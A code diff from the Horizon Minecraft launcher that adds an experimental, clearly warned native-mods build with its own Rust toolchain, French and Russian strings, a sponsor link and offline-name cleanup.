@@ -507,7 +513,7 @@ comment on any issue or pull request (`.github/workflows/nightly-command.yml`, `
`nightly-<date>` release points to, or any other branch (`nightly.py prune-builds`).
- **Refused.** A pull request that changes a path CODEOWNERS gives to Ludovic (`.github/`, `tools/ci/`, the
signing and update code, `launcher/src/backend.rs`, `launcher/links.json`…), more than 30 in a set, and more than
6 builds a day (the scheduled one always runs).
12 builds a day (the scheduled one always runs; 6 until 2026-10-28).
- **No repository role.** Reviewers need no permission on the repository: the list file and the workflow are the
whole of it.
- **Ludovic stays in charge.**
+4 -3
View File
@@ -136,8 +136,9 @@ The opening, then Play ([clip](docs/opening.webm)):
made up (`horizon-player.txt`). Picking one plays as it from the next Play. Offline names play
only while an account that owns the game is signed in ([Microsoft accounts](#microsoft-accounts));
signing the last one out keeps them, unplayable until one is back. Settings > Account
adds offline names (3 to 16 letters, digits or `_`; the game gets `--name`) and forgets them;
the Console's Share log takes them out of the log too. `horizon-launcher account offline
adds offline names (3 to 16 letters, digits or `_`; the game gets `--name`) and forgets them,
skin and cape files included, and rolls the game's made-up name for a new one; the Console's
Share log takes the names out of the log too. `horizon-launcher account offline
[NAME]`, `account select <name>` (an account or an offline name), `account forget-offline
<name>`.
- **Accent and Home background**: on top of Dark, Light or System, Settings > Launcher picks an
@@ -197,7 +198,7 @@ The opening, then Play ([clip](docs/opening.webm)):
keeping every field the launcher doesn't show and the servers joined with Direct Connection. The
same from the command line: `horizon-launcher multiplayer [list|add|remove] [--instance <name>]`
and `horizon-launcher play --server <address or name>`.
- **Patch notes**: each release's notes, newest first, with a link to GitHub Sponsors. Quiet "Discord" and "Website" links sit in the footer.
- **Patch notes**: each release's notes, newest first, with a link to GitHub Sponsors. Quiet "Sponsor", "Discord" and "Website" links sit in the sidebar footer.
Data lives in the platform's data directory (`~/.local/share/horizon-launcher` on Linux,
`~/Library/Application Support/horizon-launcher` on macOS, `%APPDATA%\horizon-launcher` on
+11 -1
View File
@@ -120,6 +120,7 @@
"INSTANCES": "INSTANCES",
"SERVERS": "SERVEURS",
"HIDE": "MASQUER",
"Sponsor": "Soutenir",
"Website": "Site web",
"Ready": "Prêt",
"Needs preparing": "À préparer",
@@ -176,5 +177,14 @@
"Download and prepare": "Télécharger et préparer",
"Not prepared. Horizon can download Minecraft {version} from Mojang for your account, or use your own install.": "Pas préparé. Horizon peut télécharger Minecraft {version} depuis Mojang pour votre compte, ou utiliser votre propre installation.",
"Not prepared. Sign in with the Microsoft account that owns Minecraft {version} first.": "Pas préparé. Connectez-vous d'abord avec le compte Microsoft qui possède Minecraft {version}.",
"Cancel": "Annuler"
"Cancel": "Annuler",
"Native mods (experimental)": "Mods natifs (expérimental)",
"Native mods from the Mods page compile into the game with the launcher's own Rust. Not sandboxed: they can do anything you can on this computer.": "Les mods natifs de la page Mods sont compilés dans le jeu avec le Rust du launcher. Sans bac à sable : ils peuvent faire tout ce que vous pouvez faire sur cet ordinateur.",
"{version} plays in this instance.": "Cette instance joue {version}.",
"Install Horizon first.": "Installez d'abord Horizon.",
"Starting the build": "Début de la compilation",
"These mods will run with full access to your computer": "Ces mods auront un accès complet à votre ordinateur",
"They can read, change or delete your files, and use your accounts and network, like any program you run. Build them only if you trust their authors: the Mods page names them.": "Ils peuvent lire, modifier ou supprimer vos fichiers, et utiliser vos comptes et votre réseau, comme tout programme que vous lancez. Ne les compilez que si vous faites confiance à leurs auteurs : la page Mods les nomme.",
"Mods: {mods}": "Mods : {mods}",
"The build compiles the game: about ten minutes and a few GB of disk the first time, a few minutes after that.": "La compilation construit le jeu : une dizaine de minutes et quelques Go de disque la première fois, quelques minutes ensuite."
}
+11 -1
View File
@@ -120,6 +120,7 @@
"INSTANCES": "СБОРКИ",
"SERVERS": "СЕРВЕРЫ",
"HIDE": "СКРЫТЬ",
"Sponsor": "Поддержать",
"Website": "Сайт",
"Ready": "Готово",
"Needs preparing": "Нужна подготовка",
@@ -176,5 +177,14 @@
"Download and prepare": "Скачать и подготовить",
"Not prepared. Horizon can download Minecraft {version} from Mojang for your account, or use your own install.": "Не подготовлено. Horizon может скачать Minecraft {version} у Mojang для вашего аккаунта или взять вашу установку.",
"Not prepared. Sign in with the Microsoft account that owns Minecraft {version} first.": "Не подготовлено. Сначала войдите в аккаунт Microsoft, у которого есть Minecraft {version}.",
"Cancel": "Отмена"
"Cancel": "Отмена",
"Native mods (experimental)": "Нативные моды (экспериментально)",
"Native mods from the Mods page compile into the game with the launcher's own Rust. Not sandboxed: they can do anything you can on this computer.": "Нативные моды со страницы «Моды» компилируются в игру собственным Rust лаунчера. Без песочницы: они могут делать на этом компьютере всё, что можете вы.",
"{version} plays in this instance.": "В этой сборке запускается {version}.",
"Install Horizon first.": "Сначала установите Horizon.",
"Starting the build": "Начало сборки",
"These mods will run with full access to your computer": "Эти моды получат полный доступ к вашему компьютеру",
"They can read, change or delete your files, and use your accounts and network, like any program you run. Build them only if you trust their authors: the Mods page names them.": "Они могут читать, изменять и удалять ваши файлы, использовать ваши аккаунты и сеть, как любая запущенная вами программа. Собирайте их, только если доверяете авторам: они указаны на странице «Моды».",
"Mods: {mods}": "Моды: {mods}",
"The build compiles the game: about ten minutes and a few GB of disk the first time, a few minutes after that.": "Сборка компилирует игру: около десяти минут и несколько ГБ на диске в первый раз, потом несколько минут."
}
+4 -2
View File
@@ -907,14 +907,16 @@ impl Accounts {
Ok(name.to_string())
}
/// Forgets an offline name; if it was playing, the game's own name plays.
pub fn remove_offline(&mut self, name: &str) -> Result<(), String> {
/// Forgets an offline name: its look and its skin and cape files (`skins`) go with it; if
/// it was playing, the game's own name plays.
pub fn remove_offline(&mut self, name: &str, skins_dir: &Path) -> Result<(), String> {
let before = self.offline.len();
self.offline.retain(|n| !n.eq_ignore_ascii_case(name));
self.looks.remove(&name.to_ascii_lowercase());
if self.offline.len() == before {
return Err(format!("No offline name {name}."));
}
crate::skins::forget(skins_dir, name);
if self
.offline_selected
.as_ref()
+19 -2
View File
@@ -627,9 +627,26 @@ fn offline_names_switch_with_accounts() {
assert!(a.play_as(&store, Player::Microsoft("zzz".into())).is_err());
a.play_as(&store, Player::Offline("Builder_1".into()))
.unwrap();
a.remove_offline("BUILDER_1").unwrap();
// Forgetting drops the look and the name's skin and cape files too.
let dir = std::env::temp_dir().join(format!("horizon-accounts-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).unwrap();
let (skin, cape) = crate::skins::files(&dir, "builder_1");
std::fs::write(&skin, b"skin").unwrap();
std::fs::write(&cape, b"cape").unwrap();
a.looks.insert(
"builder_1".into(),
crate::skins::Look {
skin: true,
cape: true,
..crate::skins::Look::default()
},
);
a.remove_offline("BUILDER_1", &dir).unwrap();
assert_eq!(a.player(), Player::GameName);
assert!(a.remove_offline("Builder_1").is_err());
assert!(a.looks.is_empty() && !skin.exists() && !cape.exists());
let _ = std::fs::remove_dir_all(&dir);
assert!(a.remove_offline("Builder_1", &dir).is_err());
// An accounts.json from before offline names reads as it was, and writes nothing new.
let old: Accounts = serde_json::from_str(r#"{"accounts":[],"selected":null}"#).unwrap();
assert_eq!(old.player(), Player::GameName);
+22 -5
View File
@@ -74,7 +74,7 @@ const LAUNCHER_BINARY: &str = if cfg!(windows) {
"horizon-launcher"
};
const CLIENT: &str = if cfg!(windows) {
pub(crate) const CLIENT: &str = if cfg!(windows) {
"horizon-client.exe"
} else {
"horizon-client"
@@ -500,15 +500,24 @@ fn signed_digest(tag: &str, asset: &str) -> Result<String, String> {
)
}
/// Downloads `url` into `to`; the file is kept only if its SHA-256 is `sha256`, the signed one.
fn download(
/// Downloads `url` into `to`; the file is kept only if its SHA-256 is `sha256`, the signed (or
/// pinned) one. A `size` of 0 takes the server's Content-Length for the progress.
pub(crate) fn download(
url: &str,
size: u64,
sha256: &str,
to: &Path,
progress: &impl Fn(f32),
) -> Result<(), String> {
let mut reader = get(url)?.into_reader();
let response = get(url)?;
let size = match size {
0 => response
.header("Content-Length")
.and_then(|n| n.parse().ok())
.unwrap_or(0),
n => n,
};
let mut reader = response.into_reader();
let mut file = fs::File::create(to).map_err(|e| e.to_string())?;
let mut hash = horizon_release_sign::Sha256::default();
let (mut done, mut buf) = (0u64, vec![0u8; 1 << 16]);
@@ -858,7 +867,7 @@ fn files_under(dir: &Path, relative: &Path) -> Vec<PathBuf> {
files
}
fn copy_dir(from: &Path, to: &Path) -> std::io::Result<()> {
pub(crate) fn copy_dir(from: &Path, to: &Path) -> std::io::Result<()> {
fs::create_dir_all(to)?;
for entry in fs::read_dir(from)? {
let entry = entry?;
@@ -2486,6 +2495,10 @@ pub enum Msg {
NightlyProgress(f32),
/// A nightly check ended: the version installed (None: already up to date), or why not.
Nightly(Result<Option<String>, String>),
/// Where the native-mods build is (`native_mods::Step::label`).
NativeProgress(String),
/// The native-mods build ended: the version built, or why not.
Native(Result<String, String>),
}
/// A running process; its output arrives as `Msg::Line`, its end as `Msg::Exit`.
@@ -2672,6 +2685,10 @@ pub struct Settings {
/// instance. Off by default.
#[serde(default, skip_serializing_if = "std::ops::Not::not")]
pub nightly: bool,
/// The player turned Native mods (experimental) on (`native_mods`): mixin mods compiled into
/// a game of their own. Off by default.
#[serde(default, skip_serializing_if = "std::ops::Not::not")]
pub native_mods: bool,
}
impl Settings {
+58 -8
View File
@@ -210,12 +210,24 @@ fn kind_of(kind: &index::Kind) -> Option<Kind> {
index::Kind::ResourcePack => Some(Kind::ResourcePack),
index::Kind::Modpack => Some(Kind::Modpack),
index::Kind::Shader => Some(Kind::Shader),
// Mixin mods: installed beside the others, compiled into the game by `native_mods`.
index::Kind::NativeMod => Some(Kind::Mod),
index::Kind::Other(_) => None,
}
}
/// What the player reads about a registry project before installing it: whether its files are
/// signed, and for a mod what it may do, in the game's words (Options > Mods).
/// Where the registry's mod policy is: who owns and answers for a project, takedowns.
pub const POLICY: &str = "https://playhorizon.dev/mods/policy";
/// Whether the Horizon project made `p` (the mod policy's "Official": author Horizon, source in
/// the horizon-rust organisation).
pub fn official(p: &index::Project) -> bool {
p.authors == ["Horizon"] && p.source.starts_with("https://github.com/horizon-rust/")
}
/// What the player reads about a registry project before installing it: who made it, whether its
/// files are signed, and for a mod what it may do, in the game's words (Options > Mods). A native
/// mod says it runs with the player's rights.
pub fn trust_and_capabilities(id: &str) -> Vec<String> {
let Ok(index) = index() else {
return Vec::new();
@@ -223,10 +235,30 @@ pub fn trust_and_capabilities(id: &str) -> Vec<String> {
let Some(p) = index.project(id) else {
return Vec::new();
};
let mut lines = vec![match &p.key {
let mut lines = vec![if official(p) {
"Made by Horizon".to_owned()
} else {
format!(
"Made by {}. Not made or endorsed by the Horizon project ({POLICY})",
p.authors.join(", ")
)
}];
lines.push(match &p.key {
Some(_) => "Signed by its author: the launcher checks the signature".to_owned(),
None => "Unsigned: the launcher checks its checksum only".to_owned(),
}];
});
if p.kind == index::Kind::NativeMod {
lines.push(
"Native code: it is compiled into the game and runs with full access to your computer. Its source was reviewed before it was listed".into(),
);
if let Some(v) = p.versions.first() {
let pin = v.api.split('/').nth(1).unwrap_or_default();
lines.push(format!(
"Built by the launcher on Horizon {}",
&pin[..pin.len().min(7)]
));
}
}
if let Some(v) = p.versions.first().filter(|_| p.kind == index::Kind::Mod) {
lines.extend(
v.capabilities
@@ -562,7 +594,11 @@ fn install_version(
if let Some(r) = index.revoked(&p.id, &v.file.sha256) {
return Err(format!("{} was taken down: {}", p.name, r.reason));
}
let relative = relative(project.kind, &p.id, &v.file.name)?;
let native = p.kind == index::Kind::NativeMod;
let relative = match native {
true => format!("{}/{}.hnmod", crate::native_mods::INSTALLED, p.id),
false => relative(project.kind, &p.id, &v.file.name)?,
};
let mut list = installed::Installed::load(home);
let ours = |e: &installed::Entry| e.source == SourceId::Horizon && e.project == p.id;
let old = list.entries.iter().find(|e| ours(e)).cloned();
@@ -579,7 +615,7 @@ fn install_version(
));
}
let clash = target.exists() && old.as_ref().is_none_or(|o| o.file != relative);
if project.kind == Kind::Mod && (clash || folder_mod.exists()) {
if project.kind == Kind::Mod && (clash || (!native && folder_mod.exists())) {
return Err(format!(
"A mod with the id {} is already in {}: move it away first.",
p.id,
@@ -593,7 +629,17 @@ fn install_version(
let file = &version_of(index, p, v, None).files[0];
let staging = home.join("mod-browser/downloads");
let path = fetch(file, &staging, local, &|f| progress(&line, f))?;
let trust = index::check_file(index, p, v, &path).inspect_err(|_| {
let checked = index::check_file(index, p, v, &path).and_then(|trust| {
// Only Rust and TOML sources, for the mod the index names: nothing in it runs here.
match native {
true => index::native::Bundle::read(&path).and_then(|b| match b.manifest.id == p.id {
true => Ok(trust),
false => Err(format!("it is {}, not {}", b.manifest.id, p.id)),
}),
false => Ok(trust),
}
});
let trust = checked.inspect_err(|_| {
let _ = fs::remove_file(&path);
})?;
if let Some(dir) = target.parent() {
@@ -628,8 +674,12 @@ fn install_version(
Ok(entry)
}
/// The mod id of an installed mod (`horizon-mods/<id>` or `horizon-mods/<id>.hmod`).
/// The mod id of an installed mod (`horizon-mods/<id>`, `horizon-mods/<id>.hmod` or
/// `horizon-native-mods/<id>.hnmod`).
pub fn mod_id(entry: &installed::Entry) -> Option<&str> {
if let Some(rest) = entry.file.strip_prefix(crate::native_mods::INSTALLED) {
return rest.strip_prefix('/')?.strip_suffix(".hnmod");
}
let rest = entry.file.strip_prefix(java::MODS_DIR)?.strip_prefix('/')?;
Some(rest.strip_suffix(".hmod").unwrap_or(rest))
}
+33
View File
@@ -33,6 +33,39 @@ fn hud(index: &Index) -> Project {
project_of(index.project("coords_hud").unwrap()).unwrap()
}
#[test]
fn native_registry_entries_are_mods_that_say_they_run_native_code() {
assert_eq!(kind_of(&index::Kind::NativeMod), Some(Kind::Mod));
let mut index = sample();
index.projects[0].kind = index::Kind::NativeMod;
let found = search(&index, &Query::new("", Kind::Mod));
assert!(found.iter().any(|p| p.id == index.projects[0].id));
let entry = |file: &str| {
serde_json::from_value::<installed::Entry>(serde_json::json!({
"source": "horizon", "project": "p", "slug": "p", "title": "P", "kind": "mod",
"version": "1", "number": "1", "file": file, "checksum": "", "page": ""
}))
.unwrap()
};
assert_eq!(
mod_id(&entry("horizon-native-mods/veinminer.hnmod")),
Some("veinminer")
);
assert_eq!(mod_id(&entry("horizon-mods/zoom.hmod")), Some("zoom"));
}
#[test]
fn only_horizons_own_projects_go_without_the_not_endorsed_line() {
let mut p = sample().projects[0].clone();
p.authors = vec!["Horizon".into()];
p.source = "https://github.com/horizon-rust/horizon-mod-zoom".into();
assert!(official(&p));
p.source = "https://github.com/someone/horizon-mod-zoom".into();
assert!(!official(&p), "the name alone doesn't make it official");
p.authors = vec!["levzzz5154".into()];
assert!(!official(&p));
}
#[test]
fn searches_by_kind_and_words() {
let index = sample();
+116 -2
View File
@@ -23,6 +23,16 @@ struct Cli {
command: Option<Cmd>,
}
#[derive(Subcommand)]
enum RustCmd {
/// Whether it is installed, its version and whether this computer can link with it
Status,
/// Download the pinned toolchain from static.rust-lang.org (once), checked by SHA-256
Install,
/// Delete the toolchain and the native builds' Cargo home
Remove,
}
#[derive(Subcommand)]
enum ServersCmd {
/// The servers, their folder and whether they run
@@ -93,7 +103,7 @@ enum AccountCmd {
/// as NAME (kept to switch back to; 3 to 16 letters, digits or _), or as the name the game
/// made up
Offline { name: Option<String> },
/// Forget one of your offline names
/// Forget one of your offline names; its skin and cape go with it
ForgetOffline { name: String },
/// Show or set an offline name's skin and cape: a 64x64 (or 64x32) skin PNG, a 64x32 cape
/// PNG, the model. Kept by the launcher and given to the game when that name plays
@@ -597,6 +607,25 @@ enum Cmd {
#[arg(long)]
accept_eula: bool,
},
/// Native mods (experimental, docs/native-mods.md): compile mixin bundles on the Horizon
/// revision they pin, with the launcher's own Rust, as the version the "Native mods" instance
/// plays. Not sandboxed: the mods' code runs with your rights
NativeBuild {
/// A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them
/// (default: the native mods installed and turned on in the instance)
folder: Option<PathBuf>,
/// The instance whose installed native mods to build, and which then plays the build
/// (default: the selected one; the game's own home builds into the Native mods instance)
#[arg(long)]
instance: Option<String>,
/// The installed version whose game files the build reuses, and whose commit it builds on
/// when no mod pins one (default: the selected one)
#[arg(long)]
version: Option<String>,
/// You read the mods' source and trust it with full access to this computer
#[arg(long)]
trust_native_code: bool,
},
/// Show a release's patch notes (default: the newest)
Notes { tag: Option<String> },
/// Show the Discord, sponsor and website links
@@ -704,6 +733,12 @@ enum Cmd {
#[command(subcommand)]
action: Option<ModsCmd>,
},
/// The portable Rust toolchain native mods compile with (docs/native-mods.md): the launcher's
/// own, in its data folder, never installed on the system
Rust {
#[command(subcommand)]
action: Option<RustCmd>,
},
/// Servers hosted with horizon-server (the Servers page): list them, create one, or run any
/// horizon-server command on one
Servers {
@@ -974,6 +1009,36 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
);
}
}
Cmd::NativeBuild {
folder,
instance,
version,
trust_native_code,
} => {
if !trust_native_code {
return Err("Native mods run with full access to this computer. Read their source, then pass --trust-native-code.".into());
}
let base = backend::resolve_version(version.as_deref())?;
let started = std::time::Instant::now();
let target = match &instance {
Some(name) => instances::find(name)?,
None => instances::selected(),
};
let (folder, target) = match folder {
Some(folder) => (folder, None),
None => (
horizon_launcher::native_mods::installed_mods(&target.home)?,
Some(&target),
),
};
let built = horizon_launcher::native_mods::build(&base, &folder, target, |step| {
eprintln!("{}", step.label())
})?;
println!(
"{built} built and selected for its instance ({:.0} s).",
started.elapsed().as_secs_f64()
);
}
Cmd::Remove { tag } => {
backend::remove_version(&tag)?;
println!("Removed {tag}.");
@@ -1261,11 +1326,60 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
Cmd::Modpack { action } => modpack(action.unwrap_or(ModpackCmd::List), as_json)?,
Cmd::Mods { action } => mods(action.unwrap_or(ModsCmd::List { instance: None }), as_json)?,
Cmd::Servers { action } => servers(action.unwrap_or(ServersCmd::List), as_json)?,
Cmd::Rust { action } => rust(action.unwrap_or(RustCmd::Status), as_json)?,
Cmd::Mcp => unreachable!(),
}
Ok(())
}
fn rust(action: RustCmd, as_json: bool) -> Result<(), String> {
use horizon_launcher::rust_toolchain as rust;
match action {
RustCmd::Status => {
let installed = rust::installed();
let version = installed.as_ref().map(|t| t.version()).transpose()?;
let linker = rust::linker().err();
if as_json {
json(serde_json::json!({
"pinned": rust::VERSION,
"host": rust::host().map(|h| h.target),
"installed": installed.as_ref().map(|t| t.dir.display().to_string()),
"version": version,
"linker": linker,
}));
} else {
match (&installed, &version) {
(Some(t), Some(v)) => println!("{v} in {}", t.dir.display()),
_ => println!(
"Rust {} is not installed (`horizon-launcher rust install`).",
rust::VERSION
),
}
println!(
"{}",
linker.unwrap_or_else(|| "This computer can link the game.".into())
);
}
}
RustCmd::Install => {
let shown = std::cell::Cell::new(0);
let toolchain = rust::install(|f| {
let percent = (f * 100.0) as u32;
if percent >= shown.get() + 10 {
shown.set(percent);
eprintln!("{percent}%");
}
})?;
println!("{} in {}", toolchain.version()?, toolchain.dir.display());
}
RustCmd::Remove => {
rust::remove()?;
println!("Removed the launcher's Rust toolchain and Cargo home.");
}
}
Ok(())
}
fn update(check: bool, as_json: bool) -> Result<(), String> {
let updates = backend::check_updates()?;
if as_json && check {
@@ -1466,7 +1580,7 @@ fn account_command(action: AccountCmd, as_json: bool) -> Result<(), String> {
}
}
AccountCmd::ForgetOffline { name } => {
accounts.remove_offline(&name)?;
accounts.remove_offline(&name, &horizon_launcher::skins::dir())?;
accounts.save()?;
println!("Forgot the offline name {name}.");
}
+3 -1
View File
@@ -7,11 +7,13 @@ use clap::{ArgAction, Command};
use serde_json::{json, Map, Value};
/// CLI commands that are not generated tools: the MCP server itself; No AI, the player's switch
/// and never an agent's; and the ones mcp.rs runs in the session.
/// and never an agent's; trusting native mods' code, the player's decision too; and the ones
/// mcp.rs runs in the session.
const NOT_TOOLS: &[&str] = &[
"mcp",
"agent-config",
"no-ai",
"native-build",
"play",
"server",
"account sign-in",
+28
View File
@@ -491,6 +491,34 @@ fn follow_player(game_home: &Path, home: &Path) {
}
}
/// A fresh made-up name everywhere the game keeps one: `horizon-player.txt` is per game
/// folder (`PLAYER_FILES`), so the same new name goes to the default home and every
/// instance's — the player stays one player in its worlds. The file's `name:` line and the
/// `Player` + five digits scheme are horizon-client's (`offline_name.rs`).
pub fn new_player_name() -> Result<String, String> {
new_player_name_in(&backend::game_home(), &backend::data_dir())
}
fn new_player_name_in(game_home: &Path, data: &Path) -> Result<String, String> {
let nanos = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map_or(0, |d| d.as_nanos() as u64);
let name = format!(
"Player{:05}",
(nanos ^ u64::from(std::process::id()).rotate_left(32)) % 100_000
);
for instance in list_in(game_home, data) {
if instance.home.is_dir() {
fs::write(
instance.home.join("horizon-player.txt"),
format!("name:{name}\n"),
)
.map_err(|e| format!("{}: {e}", instance.home.display()))?;
}
}
Ok(name)
}
#[cfg(test)]
#[path = "instances/tests.rs"]
mod tests;
+27
View File
@@ -67,6 +67,33 @@ fn player_home(home: &Path) {
);
}
#[test]
fn a_new_player_name_replaces_the_kept_one_everywhere() {
let root = scratch("newname");
let (home, data) = (root.join("horizon"), root.join("launcher"));
player_home(&home);
// An own instance that has the old name, and one with no file yet.
put(
&home.join("instances/one/horizon-player.txt"),
"name:Player123\n",
);
fs::create_dir_all(home.join("instances/two")).unwrap();
let name = new_player_name_in(&home, &data).unwrap();
assert_ne!(name, "Player123");
assert!(name.starts_with("Player") && name.len() == 11);
let kept = |home: &Path| fs::read_to_string(home.join("horizon-player.txt")).unwrap();
for h in [
&home,
&home.join("instances/one"),
&home.join("instances/two"),
&home.join("ports/small-pack/home"),
&home.join("horizon-packs/cozy/home"),
] {
assert_eq!(kept(h), format!("name:{name}\n"), "{}", h.display());
}
let _ = fs::remove_dir_all(&root);
}
#[test]
fn existing_worlds_stay_where_they_are_and_every_folder_becomes_an_instance() {
let root = scratch("migrate");
+2
View File
@@ -17,10 +17,12 @@ pub mod instances;
pub mod launch;
pub mod modpacks;
pub mod mojang;
pub mod native_mods;
pub mod nightly;
pub mod packs;
pub mod process;
pub mod proxy;
pub mod rust_toolchain;
pub mod screenshots;
pub mod server_list;
pub mod servers;
+201 -10
View File
@@ -53,6 +53,7 @@ use horizon_launcher::account::{self, Accounts, SignIn, SignInState};
use horizon_launcher::backend::{self, Job, Msg, Release, Running, Settings, Updates};
use horizon_launcher::i18n::{self, tr, trf};
use horizon_launcher::instances;
use horizon_launcher::native_mods;
use horizon_launcher::nightly;
use horizon_launcher::telemetry;
use scrollbar::Scrollbar;
@@ -176,6 +177,11 @@ struct Launcher {
nightly_error: Option<String>,
/// Play the Nightly instance once its first install ends: the player just turned Nightly on.
nightly_select: bool,
/// Native mods (`native_mods`): the build's step while it runs, why it failed, and the
/// warning before a build while it is open, with the mods it names.
native_step: Option<String>,
native_error: Option<String>,
native_confirm: Option<Result<Vec<native_mods::Bundle>, String>>,
confirm_remove: Option<String>,
picker_open: bool,
/// The top bar's quick switch of who plays (`switch_page.rs`).
@@ -389,6 +395,9 @@ impl Launcher {
nightly_progress: None,
nightly_error: None,
nightly_select: false,
native_step: None,
native_error: None,
native_confirm: None,
confirm_remove: None,
picker_open: false,
account_menu: false,
@@ -492,8 +501,10 @@ impl Launcher {
}
fn go(&mut self, page: Page) {
// The game may have made up a name since: read it again (a small file, once a switch).
// The game may have made up a name since, and the CLI or another window may have
// changed the accounts: read them again (small files, once a switch).
self.offline_name = offline_name();
self.accounts = Accounts::load();
if page != self.page {
self.page = page;
self.switches += 1;
@@ -578,6 +589,56 @@ impl Launcher {
/// Turns Nightly on (install it, then play its instance) or off (play the release again; the
/// Nightly instance and its worlds stay).
/// The native mods turned on in the instance Play starts, unpacked and checked, with their
/// bundles: what the warning names and the build compiles.
fn native_mods_to_build(
&self,
) -> Result<(std::path::PathBuf, Vec<native_mods::Bundle>), String> {
let folder = native_mods::installed_mods(&instances::selected().home)?;
let found = native_mods::bundles(&folder)?;
Ok((folder, found))
}
/// Builds the selected instance's native mods, once the player accepted the warning. The
/// build reuses the game files of the version the instance plays, else the newest installed.
fn build_native(&mut self) {
if self.native_step.is_some() {
return;
}
self.native_confirm = None;
self.native_error = None;
let instance = instances::selected();
let base = instance
.version
.clone()
.filter(|v| !native_mods::is_native(v))
.or_else(|| {
self.installed
.iter()
.find(|t| backend::is_game_tag(t) || t.starts_with("nightly-"))
.cloned()
});
let Some(base) = base else {
self.native_error = Some(tr("Install Horizon first.").into());
return;
};
let folder = match self.native_mods_to_build() {
Ok((folder, _)) => folder,
Err(e) => {
self.native_error = Some(e);
return;
}
};
self.native_step = Some(tr("Starting the build").into());
let tx = self.tx.clone();
std::thread::spawn(move || {
let result = native_mods::build(&base, &folder, Some(&instance), |step| {
let _ = tx.send(Msg::NativeProgress(step.label()));
});
let _ = tx.send(Msg::Native(result));
});
}
fn set_nightly(&mut self, on: bool) {
self.settings.nightly = on;
if on {
@@ -776,6 +837,15 @@ impl Launcher {
}
Msg::Updates(Err(e)) => self.update_error = Some(e),
Msg::NightlyProgress(p) => self.nightly_progress = Some(p),
Msg::NativeProgress(step) => self.native_step = Some(step),
Msg::Native(result) => {
self.native_step = None;
self.installed = backend::installed();
self.reload_instances();
if let Err(e) = result {
self.native_error = Some(e);
}
}
Msg::Nightly(result) => {
self.nightly_progress = None;
self.installed = backend::installed();
@@ -1723,6 +1793,10 @@ impl Launcher {
)
.on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
this.account_menu = !this.account_menu;
if this.account_menu {
// Who can play may have changed elsewhere since the window opened.
this.accounts = Accounts::load();
}
cx.notify();
}));
let account = div()
@@ -1998,6 +2072,14 @@ impl Launcher {
}
foot = foot.child(side);
}
if !self.links.sponsor.is_empty() {
foot = foot.child(link(
"sponsor",
tr("Sponsor"),
"heart",
self.links.sponsor.clone(),
));
}
if !self.links.discord.is_empty() {
foot = foot.child(link(
"discord",
@@ -2953,6 +3035,7 @@ impl Launcher {
.child(self.proxy_row(n + 4, cx))
.child(group("Game", "gamepad"))
.child(self.game_args_row(n + 5, cx))
.child(self.native_mods_row(n + 5, cx))
.child(group("AI", "terminal"))
.child(self.no_ai_row(n + 6, cx))
.child(group("About", "info-box"))
@@ -3061,6 +3144,109 @@ impl Launcher {
/// Settings' Game arguments row: the extra arguments the game starts with, kept in
/// `settings.json` and appended to the launcher's own (quotes group a word with spaces).
/// Settings' Native mods row (docs/native-mods.md): off by default. On, Build compiles the
/// native mods installed in the instance Play starts, after a warning that names them, and
/// that instance then plays the build.
fn native_mods_row(&self, n: usize, cx: &mut Context<Self>) -> Div {
let t = self.theme;
let on = self.settings.native_mods;
let toggle =
switch("native-mods", on, &t).on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
this.settings.native_mods = !this.settings.native_mods;
this.native_confirm = None;
this.settings.save();
cx.notify();
}));
let mut detail = div().flex().flex_col().gap(px(4.)).child(
tr("Native mods from the Mods page compile into the game with the launcher's own Rust. Not sandboxed: they can do anything you can on this computer.").to_string(),
);
if on {
let status = match (&self.native_step, &self.native_error) {
(Some(step), _) => Some(div().child(step.clone())),
(None, Some(e)) => Some(div().text_color(t.danger).child(e.clone())),
(None, None) => instances::selected()
.version
.filter(|v| native_mods::is_native(v))
.map(|v| {
div().child(trf("{version} plays in this instance.", &[("version", &v)]))
}),
};
detail = detail.children(status);
if self.native_step.is_none() && self.native_confirm.is_none() {
detail = detail.child(div().flex().gap(px(8.)).mt(px(4.)).child(
button("native-build", "Build", Kind::Primary, &t).on_click(cx.listener(
|this, _: &ClickEvent, _, cx| {
this.native_confirm = Some(this.native_mods_to_build().map(|(_, b)| b));
cx.notify();
},
)),
));
}
if let Some(mods) = &self.native_confirm {
detail = detail.child(self.native_warning(mods, cx));
}
}
index_row(
n,
tr("Native mods (experimental)"),
Some(detail.into_any_element()),
Some(toggle.into_any_element()),
&t,
)
}
/// The warning before a native build: what the mods can do and which mods. The build starts
/// only from its button.
fn native_warning(
&self,
mods: &Result<Vec<native_mods::Bundle>, String>,
cx: &mut Context<Self>,
) -> Div {
let t = self.theme;
let list = match mods {
Ok(found) => found
.iter()
.map(|b| format!("{} {}", b.id, b.version))
.collect::<Vec<_>>()
.join(", "),
Err(e) => e.clone(),
};
let panel = div()
.flex()
.flex_col()
.gap(px(6.))
.mt(px(8.))
.p(px(12.))
.bg(t.well)
.child(div().text_color(t.danger).child(tr("These mods will run with full access to your computer").to_string()))
.child(tr("They can read, change or delete your files, and use your accounts and network, like any program you run. Build them only if you trust their authors: the Mods page names them.").to_string())
.child(trf("Mods: {mods}", &[("mods", &list)]))
.child(tr("The build compiles the game: about ten minutes and a few GB of disk the first time, a few minutes after that.").to_string());
let mut buttons = div().flex().gap(px(8.)).mt(px(4.));
if mods.is_ok() {
buttons = buttons.child(
button(
"native-trust",
"I trust these mods: build",
Kind::Primary,
&t,
)
.on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
this.build_native();
cx.notify();
})),
);
}
panel.child(buttons.child(
button("native-cancel", "Cancel", Kind::Secondary, &t).on_click(cx.listener(
|this, _: &ClickEvent, _, cx| {
this.native_confirm = None;
cx.notify();
},
)),
))
}
fn game_args_row(&self, n: usize, cx: &mut Context<Self>) -> Div {
let t = self.theme;
let focused = self.args_focused;
@@ -3220,8 +3406,11 @@ impl Launcher {
actions = actions.child(
button(format!("offline-{i}"), "Play offline", Kind::Ghost, &t).on_click(
cx.listener(|this, _: &ClickEvent, _, cx| {
this.accounts.selected = None;
let _ = this.accounts.save();
let mut accounts = Accounts::load();
accounts.selected = None;
if accounts.save().is_ok() {
this.accounts = accounts;
}
